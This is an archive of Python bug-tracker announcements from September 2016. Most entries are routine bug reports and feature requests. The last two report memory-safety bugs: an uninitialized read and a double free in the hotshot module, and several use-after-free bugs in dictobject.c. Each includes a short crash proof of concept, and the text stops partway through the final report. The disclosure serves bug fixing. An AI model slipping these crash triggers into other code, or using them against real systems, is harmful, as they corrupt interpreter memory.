From report at bugs.python.org  Thu Sep  1 04:31:48 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 01 Sep 2016 08:31:48 +0000
Subject: [New-bugs-announce] [issue27925] Nicer interface to convert hashlib
 digests to int
Message-ID: <1472718708.44.0.588974083433.issue27925@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

hashlib digests should have a nicer interface to allow conversion to ints.

Currently we write int(x.hexdigest(), 16) which is less than obvious and easy to get wrong. It would be nice to be able to just say int(x) (that's my strong preference) or x.as_int().

Use-case: sometimes we need to store hashes in a database table which, for historical reasons, is an integer.

----------
messages: 274102
nosy: steven.daprano
priority: normal
severity: normal
status: open
title: Nicer interface to convert hashlib digests to int
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27925>
_______________________________________

From report at bugs.python.org  Thu Sep  1 05:31:15 2016
From: report at bugs.python.org (Tom Cornebize)
Date: Thu, 01 Sep 2016 09:31:15 +0000
Subject: [New-bugs-announce] [issue27926] ctypes is too slow to convert a
 Python list to a C array
Message-ID: <1472722275.26.0.560476389343.issue27926@psf.upfronthosting.co.za>


New submission from Tom Cornebize:

It is much faster to construct a Python array from the list and then cast this array, rather than using the "standard" constructor. See attached file to compare the performances.

This issue was previously asked on Stackoverflow: http://stackoverflow.com/questions/39225263/why-is-ctypes-so-slow-to-convert-a-python-list-to-a-c-array/

----------
components: ctypes
files: ctypes_slow.py
messages: 274111
nosy: Tom Cornebize
priority: normal
severity: normal
status: open
title: ctypes is too slow to convert a Python list to a C array
type: performance
Added file: http://bugs.python.org/file44320/ctypes_slow.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27926>
_______________________________________

From report at bugs.python.org  Thu Sep  1 06:06:59 2016
From: report at bugs.python.org (Benjamin Giesers)
Date: Thu, 01 Sep 2016 10:06:59 +0000
Subject: [New-bugs-announce] [issue27927] argparse: default propagation of
 formatter_class from ArgumentParser() to SubParsers
Message-ID: <1472724419.75.0.20824788392.issue27927@psf.upfronthosting.co.za>


New submission from Benjamin Giesers:

It would be nice to propagate the formatter_class defined in argparse.ArgumentParser() to added SubParsers by default. Currently one has to define the formatter_class for each subparser again and again.

Example:
    parser = argparse.ArgumentParser(description='property', formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    subparsers = parser.add_subparsers(help='sub-command help')
    pcar = subparsers.add_parser('car', help='add car', formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    pcar.add_argument('--color', help='color of car', default='red')
    pyacht = subparsers.add_parser('yacht', help='add yacht', formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    pyacht.add_argument('--length', help='length of yacht [m]', default=12.5)

----------
components: Library (Lib)
messages: 274114
nosy: Benjamin Giesers
priority: normal
severity: normal
status: open
title: argparse: default propagation of formatter_class from ArgumentParser() to SubParsers
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27927>
_______________________________________

From report at bugs.python.org  Thu Sep  1 08:29:19 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 01 Sep 2016 12:29:19 +0000
Subject: [New-bugs-announce] [issue27928] Add hashlib.scrypt
Message-ID: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>


New submission from Christian Heimes:

OpenSSL 1.1 has EVP_PBE_scrypt(). hashlib.scrypt() is a low-hanging fruit for Python 3.6. I have a working patch with some tests. I need to write more tests and documentation:

https://github.com/tiran/cpython/commits/feature/openssl110_scrypt

----------
messages: 274118
nosy: christian.heimes, gregory.p.smith
priority: normal
severity: normal
stage: patch review
status: open
title: Add hashlib.scrypt
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:59:55 2016
From: report at bugs.python.org (Robert Jordens)
Date: Thu, 01 Sep 2016 13:59:55 +0000
Subject: [New-bugs-announce] [issue27929]
 asyncio.AbstractEventLoop.sock_connect brooken for AF_BLUETOOTH
Message-ID: <1472738395.77.0.643111482192.issue27929@psf.upfronthosting.co.za>


New submission from Robert Jordens:

Since 3.5.2 sock_connect() tries to be smart and resolves addresses for you if they fail a socket.inet_pton() check. But inet_pton() only supports AF_INET(6) and does not work for other address families that socket otherwise supports just fine (e.g. AF_BLUETOOTH).

Before 3.5.2, in order to happily use bluetooth sockets with asyncio, you could just do:

    sock = socket.socket(family=socket.AF_BLUETOOTH, type=socket.SOCK_STREAM,
                proto=socket.BTPROTO_RFCOMM)
    sock.setblocking(False)
    addr = "00:12:34:56:78:99"
    yield from loop.sock_connect(sock, (addr, 1))

This is a regression.

----------
components: Argument Clinic
messages: 274131
nosy: Robert.Jordens, larry
priority: normal
severity: normal
status: open
title: asyncio.AbstractEventLoop.sock_connect brooken for AF_BLUETOOTH
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27929>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:15:59 2016
From: report at bugs.python.org (Petr Viktorin)
Date: Thu, 01 Sep 2016 15:15:59 +0000
Subject: [New-bugs-announce] [issue27930] logging's QueueListener drops log
 messages
Message-ID: <1472742959.65.0.510011909854.issue27930@psf.upfronthosting.co.za>


New submission from Petr Viktorin:

There are two "barrier" like abstractions on Lib/logging/handlers.py in the _monitor method.

First _monitor has two loops, what is already kind of a hint something is not right.

Second, it has two ways to exit the loop, that also exit the thread:
1) The _stop threading.Event is "set"
2) The _sentinel object is added to the queue

The problem is, the documentation says that the correct way to not loose records, the stop method must be called, but, the stop method just sets the _stop object and then adds the _sentinel object to the queue.

The loop stops when noticing that _stop is set, and then enters a second version of the loop, trying again to see the _sentinel object, but this time with non blocking read.

The test case shows the problem, but it also hints about the race conditions by the fact that running the test case under "taskset 1" works, so, to reproduce the issue, run the test under a multiprocessor environment.

The proper solution would be to have a proper locking mechanism, otherwise, the _stop object should not be used, and rely only in seeing the _sentinel field; this is what the class DeterministicQueueListener does in the test case.


(Reported by Paulo Andrade at https://bugzilla.redhat.com/show_bug.cgi?id=1370484 )

----------
components: Library (Lib)
files: test.py
messages: 274139
nosy: encukou, vinay.sajip
priority: normal
severity: normal
status: open
title: logging's QueueListener drops log messages
versions: Python 3.3, Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44323/test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27930>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:29:39 2016
From: report at bugs.python.org (=?utf-8?b?0JrQvtC90YHRgtCw0L3RgtC40L0g0JLQvtC70LrQvtCy?=)
Date: Thu, 01 Sep 2016 15:29:39 +0000
Subject: [New-bugs-announce] [issue27931] Email parse IndexError
 <""@wiarcom.com>
Message-ID: <1472743779.07.0.918992764498.issue27931@psf.upfronthosting.co.za>


New submission from ?????????? ??????:

Email lib fails to parse some emails:

from email._header_value_parser import get_angle_addr    get_angle_addr('<""@wiarcom.com> SIZE=28113').addr_spec

IndexError: list index out of range

Seems that email address can be parsed.

----------
components: email
messages: 274140
nosy: barry, r.david.murray, ?????????? ??????
priority: normal
severity: normal
status: open
title: Email parse IndexError <""@wiarcom.com>
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27931>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:34:31 2016
From: report at bugs.python.org (Okko Willeboordse)
Date: Thu, 01 Sep 2016 15:34:31 +0000
Subject: [New-bugs-announce] [issue27932] platform.win32_ver() leaks in
 2.7.12
Message-ID: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>


New submission from Okko Willeboordse:

Running;
Python 2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:19:22) [MSC v.1500 32 bit (Intel)] on win32

platform.win32_ver() returns;
('10', '10.0.10586', '', u'Multiprocessor Free')

----------
components: Windows
files: leaked_objects.txt
messages: 274144
nosy: Okko.Willeboordse, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: platform.win32_ver() leaks in 2.7.12
type: resource usage
versions: Python 2.7
Added file: http://bugs.python.org/file44324/leaked_objects.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Thu Sep  1 12:08:44 2016
From: report at bugs.python.org (=?utf-8?b?0KTQtdC00L7RgCDQm9GP0L3Qs9GD0LfQvtCy?=)
Date: Thu, 01 Sep 2016 16:08:44 +0000
Subject: [New-bugs-announce] [issue27933] functools.lru_cache seems to not
 work when renaming decorated functions
Message-ID: <1472746124.57.0.326377422927.issue27933@psf.upfronthosting.co.za>


New submission from ????? ????????:

Greetings,

I've encountered strange behavior when using functools.lru_cache as a function (not as a decorator): it is at least miscounting misses, but probably not work at all, when the result of functools.lru_cache()(func) is saved in variable other than 'func'. Consider this snippet:

def factorial(n):
    if n == 0:
        return 1
    else:
        return n * factorial(n-1)

f = functools.lru_cache()(factorial)
f(20)
print(f.cache_info())

Output should be: CacheInfo(hits=0, misses=21, maxsize=128, currsize=21)
Instead it is: CacheInfo(hits=0, misses=1, maxsize=128, currsize=1)

I'm using Python 3.5.2 64bit on Windows 7 Professional 64bit.
I've written 3 unittests (using built-in module), which are attached as a file. I don't know how to comment them (conceptually, not syntactically), sorry.

Fedor

----------
components: Library (Lib)
files: lru_cache_test.py
messages: 274149
nosy: ????? ????????
priority: normal
severity: normal
status: open
title: functools.lru_cache seems to not work when renaming decorated functions
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44325/lru_cache_test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27933>
_______________________________________

From report at bugs.python.org  Thu Sep  1 16:20:23 2016
From: report at bugs.python.org (Eddie James)
Date: Thu, 01 Sep 2016 20:20:23 +0000
Subject: [New-bugs-announce] [issue27934] json float encoding incorrect for
 dbus.Double
Message-ID: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>


New submission from Eddie James:

JSON does not correctly encode dbus.Double types, even though all other dbus types are handled fine. I end up with output like this (0.25 is the floating point value): dbus.Double(0.25, variant_level=1)

Found that the encoding uses repr() for float objects but uses str() for integer objects. I propose a change to use str() for float objects as well. This could be ported back to 2.7 as well

----------
components: Library (Lib)
files: json-float-str-default.patch
keywords: patch
messages: 274179
nosy: eajames
priority: normal
severity: normal
status: open
title: json float encoding incorrect for dbus.Double
type: behavior
versions: Python 2.7, Python 3.6
Added file: http://bugs.python.org/file44333/json-float-str-default.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 02:32:22 2016
From: report at bugs.python.org (=?utf-8?q?Ond=C5=99ej_Medek?=)
Date: Fri, 02 Sep 2016 06:32:22 +0000
Subject: [New-bugs-announce] [issue27935] logging level FATAL missing in
 _nameToLevel
Message-ID: <1472797942.24.0.349970976143.issue27935@psf.upfronthosting.co.za>


New submission from Ond?ej Medek:

logging.__init__._nameToLevel is missing 'FATAL' key:

>>> logging.getLevelName('FATAL')
'Level FATAL'

Expected same as:
>>> logging.getLevelName('CRITICAL')
50

----------
components: Library (Lib)
messages: 274204
nosy: Ond?ej Medek
priority: normal
severity: normal
status: open
title: logging level FATAL missing in _nameToLevel
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27935>
_______________________________________

From report at bugs.python.org  Fri Sep  2 02:52:55 2016
From: report at bugs.python.org (Jonatan Skogsfors)
Date: Fri, 02 Sep 2016 06:52:55 +0000
Subject: [New-bugs-announce] [issue27936] Inconsistent round behavior
 between float and int
Message-ID: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>


New submission from Jonatan Skogsfors:

Theo error handling for round is different for float and int. 

Python 3.5.1 (default, Apr 18 2016, 11:46:32) 
[GCC 4.2.1 Compatible Apple LLVM 7.3.0 (clang-703.0.29)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> round(1.0, None)
1
>>> round(1, None)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object cannot be interpreted as an integer

----------
messages: 274205
nosy: Jonatan Skogsfors
priority: normal
severity: normal
status: open
title: Inconsistent round behavior between float and int
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Fri Sep  2 04:33:08 2016
From: report at bugs.python.org (=?utf-8?q?Ond=C5=99ej_Medek?=)
Date: Fri, 02 Sep 2016 08:33:08 +0000
Subject: [New-bugs-announce] [issue27937] logging.getLevelName
 microoptimization
Message-ID: <1472805188.28.0.230242025346.issue27937@psf.upfronthosting.co.za>


New submission from Ond?ej Medek:

The logging.getLevelName contains code:

return _levelToName.get(level, _nameToLevel.get(level, ("Level %s" % level)))

I am still a Python beginner, but I think the most of the times the _nameToLevel.get is called unnecessarily. IMHO the code should be

return _levelToName.get(level, (_nameToLevel.get(level, ("Level %s" % level))))

or maybe better a classic if then style:
result = _levelToName.get(level)
if result is None:
   result = _nameToLevel.get(level, ("Level %s" % level))
return result

Since this function is called every time the LogRecord is created, I think it should be microoptimized.

----------
components: Library (Lib)
messages: 274210
nosy: Ond?ej Medek
priority: normal
severity: normal
status: open
title: logging.getLevelName microoptimization
type: performance
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27937>
_______________________________________

From report at bugs.python.org  Fri Sep  2 06:19:34 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 10:19:34 +0000
Subject: [New-bugs-announce] [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
Message-ID: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The "us-ascii" encoding is an alias to the Python ASCII encoding. PyUnicode_AsEncodedString() and PyUnicode_Decode() functions have a fast-path for the "ascii" string, but not for "us-ascii".

Attached patch uses also the fast-path for "us-ascii". It's a more generic change than the issue #27915. The "us-ascii" name is common in the email and xml.etree modules.

Other changes of the patch:

* Rewrite _Py_normalize_encoding() as a C implementation of encodings.normalize_encoding(). For example, " utf-8 " is now normalized to "utf_8". So the fast path is now used for more name variants of the same encoding.
* Avoid strcpy() when encoding is NULL: call directly the UTF-8 codec
* Reorder encodings: UTF-8, ASCII, MBCS, Latin1, UTF-16
* Remove fast-path for UTF-32: seriously, nobody uses this codec. Latin9 is much faster but has no fast-path.

----------
components: Interpreter Core, Unicode
files: normalize_encoding.patch
keywords: patch
messages: 274222
nosy: ezio.melotti, haypo, scop, serhiy.storchaka
priority: normal
severity: normal
status: open
title: PyUnicode_AsEncodedString, PyUnicode_Decode: add fast-path for "us-ascii" encoding
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44345/normalize_encoding.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Fri Sep  2 06:20:34 2016
From: report at bugs.python.org (Goyo)
Date: Fri, 02 Sep 2016 10:20:34 +0000
Subject: [New-bugs-announce] [issue27939] Tkinter mainloop raises when
 setting the value of ttk.LabeledScale
Message-ID: <1472811634.57.0.400970918265.issue27939@psf.upfronthosting.co.za>


New submission from Goyo:

Calling mainloop after setting the value of a ttk.LabeledScale raises an error. The same happens if the value is set after entering the mainloop.

Does not affect python 3.4.3. Does not affect ttk.Scale. No error is raised if you do not call mainloop.


import tkinter as tk
import tkinter.ttk as ttk
root = tk.Tk()
w = ttk.LabeledScale(root)
w.pack()
w.scale.set(1)
root.mainloop()

Traceback (most recent call last):
  File "d:\users\u938001\AppData\Local\Programs\Python\Python35-32\lib\tkinter\__init__.py", line 1550, in __call__
    return self.func(*args)
  File "d:\users\u938001\AppData\Local\Programs\Python\Python35-32\lib\tkinter\ttk.py", line 1540, in _adjust
    newval = self._variable.get()
  File "d:\users\u938001\AppData\Local\Programs\Python\Python35-32\lib\tkinter\__init__.py", line 355, in get
    return self._tk.getint(self._tk.globalgetvar(self._name))
TypeError: getint() argument must be str, not float

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "itcomp.py", line 8, in <module>
    root.mainloop()
  File "d:\users\u938001\AppData\Local\Programs\Python\Python35-32\lib\tkinter\__init__.py", line 1131, in mainloop
    self.tk.mainloop(n)
  File "d:\users\u938001\AppData\Local\Programs\Python\Python35-32\lib\tkinter\__init__.py", line 1554, in __call__
    self.widget._report_exception()
AttributeError: 'IntVar' object has no attribute '_report_exception'

----------
components: Tkinter
messages: 274223
nosy: goyodiaz
priority: normal
severity: normal
status: open
title: Tkinter mainloop raises when setting the value of ttk.LabeledScale
type: crash
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27939>
_______________________________________

From report at bugs.python.org  Fri Sep  2 06:57:59 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 10:57:59 +0000
Subject: [New-bugs-announce] [issue27940] xml.etree: Avoid XML declaration
 for the "ascii" encoding
Message-ID: <1472813879.44.0.998977479164.issue27940@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The ElementTree module (xml.etree) avoids the XML declaration for "utf-8" and "us-ascii" codecs, but not for the "ascii" encoding.

Attached patch avoids the XML declaration for the "ascii" codec since it's a subset of UTF-8 and UTF-8 is the default encoding of XML.

The patch also normalizes the encoding name to handle aliases like "utf8" (UTF-8) or "us_ascii" (ASCII).

The patch adds unit tests.

--

By the way, I'm surprised that the special encoding "unicode" relies on the *current* locale encoding when the XML declaration is requested. Why not alway susing UTF-8 for *unicode* instead of the locale encoding?

My unit test tests different locale encodings.

----------
components: XML
files: etree_xml_declaration.patch
keywords: patch
messages: 274227
nosy: haypo
priority: normal
severity: normal
status: open
title: xml.etree: Avoid XML declaration for the "ascii" encoding
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44346/etree_xml_declaration.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27940>
_______________________________________

From report at bugs.python.org  Fri Sep  2 12:31:27 2016
From: report at bugs.python.org (Samuele Santi)
Date: Fri, 02 Sep 2016 16:31:27 +0000
Subject: [New-bugs-announce] [issue27941] Bad error message from
 Decimal('garbage') across the py3 range
Message-ID: <1472833887.9.0.541510486765.issue27941@psf.upfronthosting.co.za>


New submission from Samuele Santi:

Looks like, on some occasions, running ``Decimal('garbage')`` on Python 3.x decimal raises this error:

    decimal.InvalidOperation: [<class 'decimal.ConversionSyntax'>]

instead of the usual:

    decimal.InvalidOperation: Invalid literal for Decimal: 'garbage'


This seems to be caused by the built-in decimal module on 3.x, while it's just fine with decimal.py / _pydecimal.py (eg. the system Python on Archlinux).

I'm attaching the output from a few tests I made against different interpreters.

----------
files: test-decimal-error-output.txt
messages: 274254
nosy: Samuele Santi
priority: normal
severity: normal
status: open
title: Bad error message from Decimal('garbage') across the py3 range
type: behavior
versions: Python 3.4, Python 3.5
Added file: http://bugs.python.org/file44350/test-decimal-error-output.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27941>
_______________________________________

From report at bugs.python.org  Fri Sep  2 12:45:37 2016
From: report at bugs.python.org (Kay Hayen)
Date: Fri, 02 Sep 2016 16:45:37 +0000
Subject: [New-bugs-announce] [issue27942] Default value identity regression
Message-ID: <1472834737.57.0.822205168917.issue27942@psf.upfronthosting.co.za>


New submission from Kay Hayen:

Consider this:

def defaultKeepsIdentity(arg = "str_value"):
    print(arg is "str_value")

defaultKeepsIdentity()

This has been outputing "True" on every Python release I have seen so far, but not so on 3.6.0a4. Normally string values come from a "co_const" and will be "is" identical if used as literals in a module, but no longer in this case.

This seems wasteful at best, needlessly increasing the number of strings in usage. 

Yours,
Kay

----------
components: Interpreter Core
messages: 274257
nosy: Kay.Hayen
priority: normal
severity: normal
status: open
title: Default value identity regression
type: resource usage
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27942>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:16:19 2016
From: report at bugs.python.org (Jaroslav)
Date: Fri, 02 Sep 2016 21:16:19 +0000
Subject: [New-bugs-announce] [issue27943] pstats.Stats: missing the source
 OS setting argument in strip_dirs() method
Message-ID: <1472850979.95.0.963332245266.issue27943@psf.upfronthosting.co.za>


New submission from Jaroslav:

Forked from Issue 27902.

The method cannot process the paths from different OS correctly. The optional argument will help, default = host OS settings as it is now.

----------
components: Windows
messages: 274273
nosy: Jaroslav, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: pstats.Stats: missing the source OS setting argument in strip_dirs() method
type: enhancement
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27943>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:21:07 2016
From: report at bugs.python.org (tehybel)
Date: Fri, 02 Sep 2016 21:21:07 +0000
Subject: [New-bugs-announce] [issue27944] two hotshot module issues
Message-ID: <1472851267.13.0.573687433663.issue27944@psf.upfronthosting.co.za>


New submission from tehybel:

Here I'll describe two issues in the "hotshot" module which can be found in
/Modules/_hotshot.c. Note that this module is for Python 2.7 only.

The issues are (1) an uninitialized variable use and (2) a double free.


Issue 1: uninitialized variable usage in unpack_add_info

In the function unpack_add_info we have this code:

    static int
    unpack_add_info(LogReaderObject *self)
    {
        PyObject *key;
        ...
        err = unpack_string(self, &key);
        if (!err) {
            ...
        }
     finally:
        Py_XDECREF(key);
        Py_XDECREF(value);
        return err;
    }

The variable "key" is not initialized to NULL. If the call to unpack_string
fails, the code will directly call Py_XDECREF on key which is an uninitialized
variable.

To fix this we could initialize "key" to NULL.

Here's a PoC:
---

import hotshot.log

WHAT_ADD_INFO = 0x13
open("./tmp", "w").write(chr(WHAT_ADD_INFO))
logreader = hotshot.log.LogReader("./tmp")

---

It segfaults here:

(gdb) run poc_27_1.py

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff696e585 in unpack_add_info (self=0x7ffff6b82098)
    at /home/xx/Python-2.7.12/Modules/_hotshot.c:370
370     Py_XDECREF(key);
(gdb) p *key
$3 = {_ob_next = 0x438b480f74fff883, _ob_prev = 0x53894801508d4808,
  ob_refcnt = 0x9066c35b00b60f08, ob_type = 0x841f0f2e66}



Issue 2: double free (Py_DECREF) in unpack_add_info

This is a separate issue from the one described above, but it exists in the same
function, unpack_add_info:

    static int
    unpack_add_info(LogReaderObject *self)
    {
        PyObject *key;
        PyObject *value = NULL;
        int err;

        err = unpack_string(self, &key);
        if (!err) {
            err = unpack_string(self, &value);
            if (err)
                Py_DECREF(key);
            else {
                ...
            }
        }
     finally:
        Py_XDECREF(key);
        Py_XDECREF(value);
        return err;
    }

If the second call to unpack_string fails, we call Py_DECREF(key). Then we reach
the "finally" block and again call Py_XDECREF(key). So key is getting its
refcount dropped twice.

To fix this we could simply remove the "if (err)" clause and turn the "else"
into "if (!err)". Then we would only have the single call to Py_XDECREF(key) in
the "finally" block.

Here's a PoC:

---

import hotshot.log

content  = "\x13\x20"
content += "A"*0x20
open("./tmp", "w").write(content)
logreader = hotshot.log.LogReader("./tmp")

---

When run, python dies with SIGABRT here (because it's a debug build with
Py_REF_DEBUG defined; otherwise memory would silently be corrupted):

(gdb) r ./poc_27_2.py
Fatal Python error: /home/xx/Python-2.7.12/Modules/_hotshot.c:370 object at 0x7ffff6b7e220 has negative ref count -2604246222170760230

Program received signal SIGABRT, Aborted.
0x00007ffff7143295 in raise () from /usr/lib/libc.so.6

----------
components: Extension Modules
messages: 274274
nosy: tehybel
priority: normal
severity: normal
status: open
title: two hotshot module issues
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27944>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:33:28 2016
From: report at bugs.python.org (tehybel)
Date: Fri, 02 Sep 2016 21:33:28 +0000
Subject: [New-bugs-announce] [issue27945] five dictobject issues
Message-ID: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>


New submission from tehybel:

Here I'll describe five distinct issues I found. Common to them all is that they
reside in the built-in dictionary object. 

Four of them are use-after-frees and one is an array-out-of-bounds indexing bug.


All of the described functions reside in /Objects/dictobject.c.


Issue 1: use-after-free when initializing a dictionary

Initialization of a dictionary happens via the function dict_init which calls
dict_update_common. From there, PyDict_MergeFromSeq2 may be called, and that is
where this issue resides.

In PyDict_MergeFromSeq2 we retrieve a sequence of size 2 with this line:

	fast = PySequence_Fast(item, "");

After checking its size, we take out a key and value:

	key = PySequence_Fast_GET_ITEM(fast, 0);
	value = PySequence_Fast_GET_ITEM(fast, 1);

Then we call PyDict_GetItem. This calls back to Python code if the key has a
__hash__ function. From there the "item" sequence could get modified, resulting
in "key" or "value" getting used after having been freed.

Here's a PoC:

---

class X:
    def __hash__(self):
        pair[:] = []
        return 13

pair = [X(), 123]
dict([pair])

---

It crashes while trying to use freed memory as a PyObject:

(gdb) run ./poc24.py 
Program received signal SIGSEGV, Segmentation fault.
0x000000000048fe25 in insertdict (mp=mp at entry=0x7ffff6d5c4b8, key=key at entry=0x7ffff6d52538, hash=0xd, 
    value=value at entry=0x8d1ac0 <small_ints+6144>) at Objects/dictobject.c:831
831	    MAINTAIN_TRACKING(mp, key, value);
(gdb) print *key
$26 = {_ob_next = 0xdbdbdbdbdbdbdbdb, _ob_prev = 0xdbdbdbdbdbdbdbdb, ob_refcnt = 0xdbdbdbdbdbdbdbdb, 
  ob_type = 0xdbdbdbdbdbdbdbdb}




Issue 2: use-after-free in dictitems_contains

In the function dictitems_contains we call PyDict_GetItem to look up a value in
the dictionary:

	found = PyDict_GetItem((PyObject *)dv->dv_dict, key);

However this "found" variable is borrowed. We then go ahead and compare it:

	return PyObject_RichCompareBool(value, found, Py_EQ);

But PyObject_RichCompareBool could call back into Python code and e.g. release
the GIL. As a result, the dictionary may be mutated. Thus "found" could get
freed. 

Then, inside PyObject_RichCompareBool (actually in do_richcompare), the "found"
variable gets used after being freed.

PoC:

---

class X:
    def __eq__(self, other):
        d.clear()
        return NotImplemented

d = {0: set()}
(0, X()) in d.items()

---

Result:

(gdb) run ./poc25.py 
Program received signal SIGSEGV, Segmentation fault.
0x00000000004a03b6 in do_richcompare (v=v at entry=0x7ffff6d52468, w=w at entry=0x7ffff6ddf7c8, op=op at entry=0x2)
    at Objects/object.c:673
673	    if (!checked_reverse_op && (f = w->ob_type->tp_richcompare) != NULL) {
(gdb) print w->ob_type
$26 = (struct _typeobject *) 0xdbdbdbdbdbdbdbdb




Issue 3: use-after-free in dict_equal

In the function dict_equal, we call the "lookdict" function via
b->ma_keys->dk_lookup to look up a value:

	if ((b->ma_keys->dk_lookup)(b, key, ep->me_hash, &vaddr) == NULL)

This value's address is stored into the "vaddr" variable and the value is
fetched into the "bval" variable:

	bval = *vaddr;

Then we call Py_DECREF(key) which can call back into Python code. This could
release the GIL and mutate dictionary b. Therefore "bval" could become freed at
this point. We then proceed to use "bval":

	cmp = PyObject_RichCompareBool(aval, bval, Py_EQ);

This results in a use-after-free.

PoC:

---

class X():
    def __del__(self): 
        dict_b.clear()
    def __eq__(self, other):
        dict_a.clear()
        return True
    def __hash__(self): 
        return 13
        
dict_a = {X(): 0}
dict_b = {X(): X()}
dict_a == dict_b

---

Result:

(gdb) run ./poc26.py 
Program received signal SIGSEGV, Segmentation fault.
PyType_IsSubtype (a=0xdbdbdbdbdbdbdbdb, b=0x87ec60 <PyLong_Type>)
    at Objects/typeobject.c:1343
1343	    mro = a->tp_mro;
(gdb) print a
$59 = (PyTypeObject *) 0xdbdbdbdbdbdbdbdb



Issue 4: use-after-free in _PyDict_FromKeys

The function _PyDict_FromKeys takes an iterable as argument. If the iterable is
a dict, _PyDict_FromKeys loops over it like this:

	while (_PyDict_Next(iterable, &pos, &key, &oldvalue, &hash)) {
		if (insertdict(mp, key, hash, value)) {
			...
		}
	}

However if we look at the comment for PyDict_Next, we see this:

	 * CAUTION:  In general, it isn't safe to use PyDict_Next in a loop that
	 * mutates the dict.

But insertdict can call on to Python code which might mutate the dict. In that
case we perform a use-after-free of the "key" variable.

Here's a PoC:

---

class X(int):
    def __hash__(self):
        return 13 
    def __eq__(self, other):
        if len(d) > 1:
            d.clear()
        return False

d = {}
d = {X(1): 1, X(2): 2}
x = {}.fromkeys(d)

---

And the result:

(gdb) run ./poc27.py 
Program received signal SIGSEGV, Segmentation fault.
0x0000000000435122 in visit_decref (op=0x7ffff6d5ca68, data=0x0) at Modules/gcmodule.c:373
373	    if (PyObject_IS_GC(op)) {
(gdb) print *op
$115 = {_ob_next = 0xdbdbdbdbdbdbdbdb, _ob_prev = 0xdbdbdbdbdbdbdbdb, ob_refcnt = 0xdbdbdbdbdbdbdbdb, 
  ob_type = 0xdbdbdbdbdbdbdbdb}


An almost identical issue also exists further down in the function when calling
_PySet_NextEntry. To see this crash, just change "d" to be a set in the PoC
above:

	d = set()
	d = set([X(1), X(2)])

this likewise crashes with a use-after-free.



(Note: if you grep for PyDict_Next you will find more similar cases, although
many are in obscure modules or deprecated functions. I'm not sure those are
worth fixing? E.g. here's a crasher for BaseException_setstate which also calls
PyDict_Next:

---

class X(str):
    def __hash__(self):
        d.clear()
        return 13

d = {}
d[X()] = X()

e = Exception()
e.__setstate__(d)

---

end note.)




Issue 5: out-of-bounds indexing in dictiter_iternextitem

The function dictiter_iternextitem is used to iterate over a dictionary's items.
dictiter_iternextitem is careful to check that the dictionary did not change
size during iteration. However after performing this check, it calls Py_DECREF:

	Py_DECREF(PyTuple_GET_ITEM(result, 0));
